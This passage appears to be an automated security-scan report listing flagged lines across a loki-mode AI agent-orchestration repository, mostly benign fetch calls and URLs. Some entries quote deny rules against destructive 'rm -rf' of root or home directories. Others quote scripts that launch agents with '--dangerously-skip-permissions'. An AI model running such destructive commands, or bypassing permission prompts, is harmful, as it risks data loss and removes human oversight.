    const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: { "content-type": "application/json", ...auth() }, body: JSON.stringify(body) });
  • Network accessline 28
    export async function fetchIssues(repo: string): Promise<RepoIssue[]> {   const res = await fetch(`${base()}/v1/repos/issues?repo=${encodeURIComponent(repo)}`, { headers: auth() });
  • Network accessline 29
    const res = await fetch(`${base()}/v1/repos/issues?repo=${encodeURIComponent(repo)}`, { headers: auth() });

packages/control-plane/ui/src/pages/compose/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/compose/store.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/cost/data.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    [Credential-related source omitted]
  • Network accessline 19
    [Credential-related source omitted]
  • Network accessline 20
    [Credential-related source omitted]

packages/control-plane/ui/src/pages/cost/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/home/Home.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/home/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/integrations/index.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    [Credential-related source omitted]
  • Network accessline 15
    [Credential-related source omitted]
  • Network accessline 16
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]

packages/control-plane/ui/src/pages/merge/index.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    async function call<T>(path: string, init?: RequestInit): Promise<T> {   const res = await fetch(`${base()}${path}`, init);
  • Network accessline 15
    const res = await fetch(`${base()}${path}`, init);
  • Network accessline 22
    async function callRun(dryRun: boolean): Promise<RunResult> {   const res = await fetch(`${base()}/v1/merge/run`, { method: "POST", headers: headers(true), body: JSON.stringify({ dryRun }) });
  • Network accessline 23
    const res = await fetch(`${base()}/v1/merge/run`, { method: "POST", headers: headers(true), body: JSON.stringify({ dryRun }) });

packages/control-plane/ui/src/pages/models/index.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 20
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Network accessline 22
    [Credential-related source omitted]

packages/control-plane/ui/src/pages/plans/Plans.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/plans/api.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/plans/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/plans/logic.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/receipts/Receipts.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/receipts/api.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    export async function verifyRun(source: string, run: string): Promise<VerifyResult> {   const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/verify`, { method: "POST", headers: headers({ "conte
  • Network accessline 15
    const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/verify`, { method: "POST", headers: headers({ "content-type": "application/json" }), body: "{}" });
  • Network accessline 22
    export async function getPublicKey(): Promise<PublicKey | null> {   const res = await fetch(`${base()}/v1/keys`, { headers: headers() });
  • Network accessline 23
    const res = await fetch(`${base()}/v1/keys`, { headers: headers() });

packages/control-plane/ui/src/pages/receipts/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/registry.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/risk/index.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 25
    [Credential-related source omitted]
  • Network accessline 26
    [Credential-related source omitted]
  • Network accessline 27
    [Credential-related source omitted]

packages/control-plane/ui/src/pages/run-controls/index.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    [Credential-related source omitted]
  • Network accessline 14
    [Credential-related source omitted]
  • Network accessline 15
    const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/${kind}`, { method: "POST", headers, body: "{}" });

packages/control-plane/ui/src/pages/run/facts.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/run/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/run/model.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/run/stream.ts

  • Network accessline 1
    // Run thread data helpers: authenticated artifact reads and an SSE reader built on fetch (EventSource cannot send the bearer header).
  • Executable scriptline 1
    Executable file
  • Network accessline 11
    export async function fetchArtifact(s: string, r: string, name: string): Promise<string | null> {   try {     const res = await fetch(`${base()}${runPath(s, r)}/artifact/${name}`, { headers: headers() });
  • Network accessline 12
    try {     const res = await fetch(`${base()}${runPath(s, r)}/artifact/${name}`, { headers: headers() });     return res.ok ? await res.text() : null;
  • Network accessline 13
    const res = await fetch(`${base()}${runPath(s, r)}/artifact/${name}`, { headers: headers() });
  • Network accessline 22
    for (let cursor = after, guard = 0; guard < 200; guard++) {       const q = cursor >= 0 ? `?after=${cursor}&limit=1000` : "?limit=1000";       const res = await fetch(`${base()}${runPath(s, r)}/events${q}`, { headers: headers() });
  • Network accessline 23
    const q = cursor >= 0 ? `?after=${cursor}&limit=1000` : "?limit=1000";       const res = await fetch(`${base()}${runPath(s, r)}/events${q}`, { headers: headers() });       if (!res.ok) break;
  • Network accessline 24
    const res = await fetch(`${base()}${runPath(s, r)}/events${q}`, { headers: headers() });
  • Network accessline 49
    export async function followStream(s: string, r: string, lastSeq: () => number, onEvent: (e: RunEvent) => void, signal: AbortSignal): Promise<void> {   try {     const res = await fetch(`${base()}${runPath(s, r)}/stream?after=${lastSeq()}`,
  • Network accessline 50
    try {     const res = await fetch(`${base()}${runPath(s, r)}/stream?after=${lastSeq()}`, { headers: { ...headers(), accept: "text/event-stream" }, signal });     if (!res.ok || !res.body) return;
  • Network accessline 51
    const res = await fetch(`${base()}${runPath(s, r)}/stream?after=${lastSeq()}`, { headers: { ...headers(), accept: "text/event-stream" }, signal });

packages/control-plane/ui/src/pages/run/timeline.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/runs/Lists.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/runs/OutcomeChip.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/runs/data.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    [Credential-related source omitted]
  • Network accessline 14
    [Credential-related source omitted]
  • Network accessline 15
    [Credential-related source omitted]

packages/control-plane/ui/src/pages/runs/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/runs/issues.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/settings/config-api.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    export async function loadConfig(): Promise<ConfigState> {   const res = await fetch(`${base()}/v1/config`, { headers: headers() });
  • Network accessline 18
    const res = await fetch(`${base()}/v1/config`, { headers: headers() });
  • Network accessline 24
    export async function saveConfig(config: ConfigObject, etag: string): Promise<{ etag: string; config: ConfigObject }> {   const res = await fetch(`${base()}/v1/config`, { method: "PUT", headers: headers({ "content-type": "application/json",
  • Network accessline 25
    const res = await fetch(`${base()}/v1/config`, { method: "PUT", headers: headers({ "content-type": "application/json", "if-match": etag }), body: JSON.stringify({ config }) });

packages/control-plane/ui/src/pages/settings/index.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]

packages/control-plane/ui/src/pages/wired.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/workspaces/Workspaces.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    [Credential-related source omitted]
  • Network accessline 12
    [Credential-related source omitted]
  • Network accessline 13
    [Credential-related source omitted]
  • Network accessline 19
    async function runWorkspace(workspace: string, target: string): Promise<{ pid: number; command: string }> {   const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: headers(), body: JSON.stringify({ workspace, target }) });
  • Network accessline 20
    const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: headers(), body: JSON.stringify({ workspace, target }) });

packages/control-plane/ui/src/pages/workspaces/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/workspaces/logic.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/palette/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/palette/items.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/shell/AppShell.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/shell/Mascot.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/shell/hooks.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/shell/theme.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/tailwind.config.js

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/vite.config.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    export default defineConfig({ base: "./", plugins: [react()], server: { proxy: { "/v1": "http://127.0.0.1:7777" } } });

packages/loki-seal/.claude-plugin/marketplace.json

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-marketplace.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-marketplace.json",
  • Network accessline 9
    "source": "./",       "description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. No model calls.",       "homepage": "https://github.com/asklokesh/loki-mode",
  • Network accessline 10
    "description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. No model calls.",       "homepage": "https://github.com/asklokesh/loki-mode",       "category": "testing",
  • Network accessline 11
    "homepage": "https://github.com/asklokesh/loki-mode",

packages/loki-seal/.claude-plugin/plugin.json

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 5
    "version": "0.1.0",   "description": "Stop hook that refuses 'done' while the repo's real tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls, prints a 5-line receipt.",   "author": { "name": "Autonomi"
  • Network accessline 6
    "description": "Stop hook that refuses 'done' while the repo's real tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls, prints a 5-line receipt.",   "author": { "name": "Autonomi", "url": "https://www.
  • Network accessline 7
    "author": { "name": "Autonomi", "url": "https://www.autonomi.dev/" },
  • Network accessline 8
    "homepage": "https://github.com/asklokesh/loki-mode",
  • Network accessline 9
    "repository": "https://github.com/asklokesh/loki-mode",

packages/loki-seal/README.md

  • Network accessline 32
    contract: 1 item(s), 1 covered by passing tests tree: 9f2c41d07ab3e5c8 Verified by Loki https://github.com/asklokesh/loki-mode
  • Network accessline 34
    Verified by Loki https://github.com/asklokesh/loki-mode

packages/loki-seal/bin/contract.js

  • Executable scriptline 1
    Executable file

packages/loki-seal/bin/loki-seal.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 12
    const mode = process.argv[2]; let ctx = { input: {}, root: process.cwd() }; const REPO = 'https://github.com/asklokesh/loki-mode';
  • Network accessline 13
    let ctx = { input: {}, root: process.cwd() }; const REPO = 'https://github.com/asklokesh/loki-mode'; const MAX_BLOCKS = 5; // safety valve: never trap a session in an endless stop loop
  • Network accessline 14
    const REPO = 'https://github.com/asklokesh/loki-mode';

packages/loki-seal/demo/demo.tape

  • Dangerous shell operationline 19
    Type "rm test/add.test.js" Enter

packages/loki-seal/demo/dry-run.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 8
    rm test/add.test.js
  • Dangerous shell operationline 16
    cd / && rm -rf -- "$DEMO"

packages/loki-seal/demo/setup.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/loki-mode/.claude-plugin/plugin.json

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 7
    "author": {     "name": "Autonomi",     "url": "https://www.autonomi.dev/"
  • Network accessline 8
    "name": "Autonomi",     "url": "https://www.autonomi.dev/"   },
  • Network accessline 9
    "url": "https://www.autonomi.dev/"
  • Network accessline 10
    },   "homepage": "https://github.com/asklokesh/loki-mode",   "repository": "https://github.com/asklokesh/loki-mode",
  • Network accessline 11
    "homepage": "https://github.com/asklokesh/loki-mode",
  • Network accessline 12
    "repository": "https://github.com/asklokesh/loki-mode",

plugins/loki-mode/README.md

  • Network accessline 8
    Homepage: https://github.com/asklokesh/loki-mode
  • Dangerous shell operationline 85
    - `rm -rf` on `/tmp/loki-*` while a live Loki run may be staging files there
  • Dangerous shell operationline 86
    - `rm -rf` of a filesystem or `$HOME` root

plugins/loki-mode/commands/loki-verify.md

  • Broad permissionsline 1
    Bash(loki verify:*), Bash(command -v:*), Read

plugins/loki-mode/commands/start.md

  • Broad permissionsline 1
    Bash(loki start:*), Bash(loki status:*), Bash(command -v:*), Bash(ls:*)

plugins/loki-mode/scripts/loki-guard.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 12
    #   - rm -rf on /tmp/loki-* globs while a live run may be staging there
  • Dangerous shell operationline 13
    #   - rm -rf of / or $HOME roots
  • Dangerous shell operationline 83
    # 4a. rm -rf targeting /tmp/loki-* while a live run may be staging there.
  • Dangerous shell operationline 86
    deny "LOKI_GUARD: refusing rm -rf on /tmp/loki-* while a live loki run is staging there (pgrep -f loki-run- matched). Scope cleanup to known-dead paths, or stop the run first."
  • Dangerous shell operationline 90
    # 4b. rm -rf of filesystem root or HOME root.
  • Dangerous shell operationline 93
    deny "LOKI_GUARD: refusing rm -rf of a filesystem or HOME root. This is almost certainly a mistake."

plugins/loki-mode/scripts/loki-stop-verify.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 44
    trap 'rm -f "$out_file"' EXIT

providers/claude.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Instruction override signalline 32
    PROVIDER_AUTONOMOUS_FLAG="--dangerously-skip-permissions"
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 343
    [Credential-related source omitted]

providers/loader.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 18
    [Credential-related source omitted]

providers/managed.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Access to secretsline 228
    [Credential-related source omitted]
  • Access to secretsline 270
    [Credential-related source omitted]
  • Access to secretsline 271
    [Credential-related source omitted]
  • Access to secretsline 503
    [Credential-related source omitted]

providers/model_catalog.json

  • Network accessline 169
    {           "region": "global_en",           "openai_base_url": "https://api.minimax.io/v1",
  • Network accessline 170
    "region": "global_en",           "openai_base_url": "https://api.minimax.io/v1",           "anthropic_base_url": "https://api.minimax.io/anthropic",
  • Network accessline 171
    "openai_base_url": "https://api.minimax.io/v1",
  • Network accessline 172
    "anthropic_base_url": "https://api.minimax.io/anthropic",
  • Network accessline 173
    "docs_root": "https://platform.minimax.io/docs"
  • Network accessline 175
    {           "region": "cn_zh",           "openai_base_url": "https://api.minimaxi.com/v1",
  • Network accessline 176
    "region": "cn_zh",           "openai_base_url": "https://api.minimaxi.com/v1",           "anthropic_base_url": "https://api.minimaxi.com/anthropic",
  • Network accessline 177
    "openai_base_url": "https://api.minimaxi.com/v1",
  • Network accessline 178
    "anthropic_base_url": "https://api.minimaxi.com/anthropic",
  • Network accessline 179
    "docs_root": "https://platform.minimaxi.com/docs"

providers/model_route_exec.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

providers/model_routes.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 4
    [Credential-related source omitted]
  • Network accessline 7
    [Credential-related source omitted]
  • Network accessline 8
    [Credential-related source omitted]
  • Network accessline 9
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 10
    #   ollama/<id>       http://localhost:11434
  • Network accessline 11
    #   lmstudio/<id>     http://localhost:1234
  • Network accessline 12
    #   llamacpp/<id>     http://localhost:8080
  • Network accessline 13
    #   vllm/<id>         http://localhost:8000
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 22
    loki_model_route_table() {     case "$1" in         openrouter) echo "https://openrouter.ai/api|OPENROUTER_API_KEY" ;;
  • Network accessline 23
    case "$1" in         openrouter) echo "https://openrouter.ai/api|OPENROUTER_API_KEY" ;;         ollama)     echo "http://localhost:11434|" ;;
  • Network accessline 24
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 25
    ollama)     echo "http://localhost:11434|" ;;
  • Network accessline 26
    lmstudio)   echo "http://localhost:1234|" ;;
  • Network accessline 27
    llamacpp)   echo "http://localhost:8080|" ;;
  • Network accessline 28
    vllm)       echo "http://localhost:8000|" ;;
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 119
    loki_models_probe_local() {     local rt url path body     for rt in "ollama|http://localhost:11434|/api/tags" \
  • Network accessline 120
    local rt url path body     for rt in "ollama|http://localhost:11434|/api/tags" \               "lmstudio|http://localhost:1234|/v1/models" \
  • Network accessline 121
    for rt in "ollama|http://localhost:11434|/api/tags" \
  • Network accessline 122
    "lmstudio|http://localhost:1234|/v1/models" \
  • Network accessline 123
    "llamacpp|http://localhost:8080|/v1/models" \
  • Network accessline 124
    "vllm|http://localhost:8000|/v1/models"; do
  • Network accessline 126
    $rt EOF         body="$(curl -s --connect-timeout 1 --max-time 1 "${url}${path}" 2>/dev/null)" || continue
  • Network accessline 127
    EOF         body="$(curl -s --connect-timeout 1 --max-time 1 "${url}${path}" 2>/dev/null)" || continue         [ -n "$body" ] || continue
  • Network accessline 128
    body="$(curl -s --connect-timeout 1 --max-time 1 "${url}${path}" 2>/dev/null)" || continue

providers/models.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

providers/opencode.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Instruction override signalline 50
    # non-interactive. It is not: without --auto the run stalls on the first # permission prompt with no TTY to answer it, which is indistinguishable from a # hang. This is opencode's equivalent of claude's --dangerously-skip-permissions
  • Instruction override signalline 51
    # permission prompt with no TTY to answer it, which is indistinguishable from a # hang. This is opencode's equivalent of claude's --dangerously-skip-permissions # which providers/claude.sh already passes.
  • Instruction override signalline 52
    # hang. This is opencode's equivalent of claude's --dangerously-skip-permissions
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 120
    [Credential-related source omitted]

references/advanced-patterns.md

  • Network accessline 447
    - [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322)
  • Network accessline 448
    - [CONSENSAGENT: Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/)
  • Network accessline 449
    - [GoalAct: Global Planning + Hierarchical Execution](https://arxiv.org/abs/2504.16563)
  • Network accessline 450
    - [A-Mem: Agentic Memory System](https://arxiv.org/html/2502.12110v11)
  • Network accessline 451
    - [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845)
  • Network accessline 452
    - [Iter-VF: Iterative Verification-First](https://arxiv.org/html/2511.21734v1)
  • Network accessline 453
    - [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns)

references/agent-types.md

  • Instruction override signalline 162
    # Option 1: Sequential (simple, reliable) for agent in frontend backend database; do   claude -p "Act as $agent agent..." --dangerously-skip-permissions
  • Instruction override signalline 163
    for agent in frontend backend database; do   claude -p "Act as $agent agent..." --dangerously-skip-permissions done
  • Instruction override signalline 164
    claude -p "Act as $agent agent..." --dangerously-skip-permissions
  • Instruction override signalline 169
    for i in {1..5}; do   tmux new-window -t loki-pool -n "agent-$i" \     "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"
  • Instruction override signalline 170
    tmux new-window -t loki-pool -n "agent-$i"      "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"
  • Instruction override signalline 171
    "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"

references/cursor-learnings.md

  • Network accessline 3
    > **Source:** [Cursor Blog - Scaling Agents](https://cursor.com/blog/scaling-agents) (January 2026)

references/deployment.md

  • Network accessline 217
    },       "healthCheck": {         "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],
  • Network accessline 218
    "healthCheck": {         "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],         "interval": 30,
  • Network accessline 219
    "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],
  • Network accessline 534
    # Run smoke tests curl -f https://green.app.example.com/health
  • Network accessline 535
    curl -f https://green.app.example.com/health

references/invariant-checks.md

  • Access to secretsline 58
    [Credential-related source omitted]

references/lab-research-patterns.md

  • Network accessline 517
    **Google DeepMind:** - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/)
  • Network accessline 518
    - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/)
  • Network accessline 519
    - [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/)
  • Network accessline 520
    - [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/)
  • Network accessline 521
    - [Genie 3: World Models](https://deepmind.google/blog/genie-3-a-new-frontier-for-world-models/)
  • Network accessline 522
    - [Scalable AI Safety via Debate](https://deepmind.google/research/publications/34920/)
  • Network accessline 523
    - [Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a)
  • Network accessline 524
    - [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1)
  • Network accessline 526
    **Anthropic:** - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)
  • Network accessline 527
    - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)
  • Network accessline 528
    - [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents)
  • Network accessline 529
    - [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices)
  • Network accessline 530
    - [Sleeper Agents Detection](https://www.anthropic.com/research/probes-catch-sleeper-agents)
  • Network accessline 531
    - [Alignment Faking](https://www.anthropic.com/research/alignment-faking)
  • Network accessline 532
    - [Visible Extended Thinking](https://www.anthropic.com/research/visible-extended-thinking)
  • Network accessline 533
    - [Computer Use Safety](https://www.anthropic.com/news/3-5-models-and-computer-use)
  • Network accessline 534
    - [Sabotage Evaluations](https://www.anthropic.com/research/sabotage-evaluations-for-frontier-models)

references/magic-modules-patterns.md

  • Network accessline 11
    | Project | Author | Contribution | Link | |---------|--------|--------------|------| | MagicModules | Roman Nurik (Google Labs) | Spec-first component generation, markdown specs as source of truth, SHA-based freshness check, single-source 
  • Network accessline 12
    |---------|--------|--------------|------| | MagicModules | Roman Nurik (Google Labs) | Spec-first component generation, markdown specs as source of truth, SHA-based freshness check, single-source registry | [github.com/romannurik/MagicModu
  • Network accessline 13
    | MagicModules | Roman Nurik (Google Labs) | Spec-first component generation, markdown specs as source of truth, SHA-based freshness check, single-source registry | [github.com/romannurik/MagicModules](https://github.com/romannurik/MagicMod
  • Network accessline 14
    | MoMoA | Reto Meier (Google Labs) | Multi-persona debate, conflicting expert critique, consensus with HITL escalation | [github.com/retomeier/momoa](https://github.com/retomeier/momoa) |

references/magic-rarv-integration.md

  • Dangerous shell operationline 16
    the saved file. Force re-extract with `rm .loki/magic/tokens.json`.

references/mcp-integration.md

  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 90
    **Pricing:** Pay-per-query (not token-based). See https://parallel.ai/pricing
  • Network accessline 92
    **API Documentation:** https://docs.parallel.ai/
  • Access to secretsline 234
    [Credential-related source omitted]
  • Network accessline 257
    prompt="""     Use Playwright MCP to:     1. Navigate to http://localhost:3000/login
  • Network accessline 258
    Use Playwright MCP to:     1. Navigate to http://localhost:3000/login     2. Fill in test credentials
  • Network accessline 259
    1. Navigate to http://localhost:3000/login
  • Network accessline 307
    - [MCP Specification](https://modelcontextprotocol.io/)
  • Network accessline 308
    - [Parallel AI Documentation](https://docs.parallel.ai/)
  • Network accessline 309
    - [Playwright MCP](https://github.com/anthropics/anthropic-quickstarts/tree/main/mcp-playwright)
  • Network accessline 310
    - [Repowise](https://repowise.dev/)

references/openai-patterns.md

  • Network accessline 628
    **OpenAI Official:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/)
  • Network accessline 629
    - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/)
  • Network accessline 630
    - [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf)
  • Network accessline 631
    - [Building Agents Track](https://developers.openai.com/tracks/building-agents/)
  • Network accessline 632
    - [AGENTS.md Specification](https://agents.md/)
  • Network accessline 634
    **Deep Research & Reasoning:** - [Introducing Deep Research](https://openai.com/index/introducing-deep-research/)
  • Network accessline 635
    - [Introducing Deep Research](https://openai.com/index/introducing-deep-research/)
  • Network accessline 636
    - [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf)
  • Network accessline 637
    - [Introducing o3 and o4-mini](https://openai.com/index/introducing-o3-and-o4-mini/)
  • Network accessline 638
    - [Reasoning Best Practices](https://platform.openai.com/docs/guides/reasoning-best-practices)
  • Network accessline 640
    **Safety & Monitoring:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/)
  • Network accessline 641
    - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/)
  • Network accessline 642
    - [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety)
  • Network accessline 643
    - [Computer-Using Agent](https://openai.com/index/computer-using-agent/)
  • Network accessline 645
    **Standards & Interoperability:** - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/)
  • Network accessline 646
    - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/)
  • Network accessline 647
    - [OpenAI for Developers 2025](https://developers.openai.com/blog/openai-for-developers-2025/)

references/sdk-mode.md

  • Access to secretsline 5
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]

references/sdlc-phases.md

  • Network accessline 276
    npx k6 run tests/load.js npx lighthouse http://localhost:3000
  • Network accessline 277
    npx lighthouse http://localhost:3000
  • Network accessline 285
    npx axe http://localhost:3000

references/tool-orchestration.md

  • Network accessline 131
    1. **Capture intent, not just actions** ([Hashrocket](https://hashrocket.substack.com/p/the-hidden-cost-of-well-fix-it-later))
  • Network accessline 134
    2. **Track recovery rate** ([Assessment Framework, arXiv 2512.12791](https://arxiv.org/html/2512.12791v1))
  • Network accessline 138
    3. **Distributed tracing** ([Maxim AI](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/))
  • Network accessline 142
    4. **Tool reliability separate from selection** ([Stanford/Harvard](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart
  • Network accessline 147
    5. **Quality pillars beyond outcomes** ([Assessment Framework](https://arxiv.org/html/2512.12791v1))
  • Network accessline 654
    Based on [Measurement Imbalance research (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064):
  • Network accessline 671
    **OpenAI Agents SDK:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing
  • Network accessline 672
    - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing
  • Network accessline 673
    - [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) - Orchestration patterns
  • Network accessline 674
    - [Building Agents Track](https://developers.openai.com/tracks/building-agents/) - Official developer guide
  • Network accessline 675
    - [AGENTS.md Specification](https://agents.md/) - Standard for agent instructions
  • Network accessline 676
    - [Tracing Documentation](https://openai.github.io/openai-agents-python/tracing/) - Span types and observability
  • Network accessline 678
    **Efficiency & Orchestration:** - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL
  • Network accessline 679
    - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL
  • Network accessline 680
    - [ToolScale Dataset](https://huggingface.co/datasets/nvidia/ToolScale) - Training data synthesis
  • Network accessline 682
    **Evaluation Frameworks:** - [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model
  • Network accessline 683
    - [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model
  • Network accessline 684
    - [Measurement Imbalance in Agentic AI (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064) - Multi-dimensional evaluation
  • Network accessline 685
    - [Adaptive Monitoring for Agentic AI (arXiv 2509.00115)](https://arxiv.org/abs/2509.00115) - AMDM algorithm
  • Network accessline 687
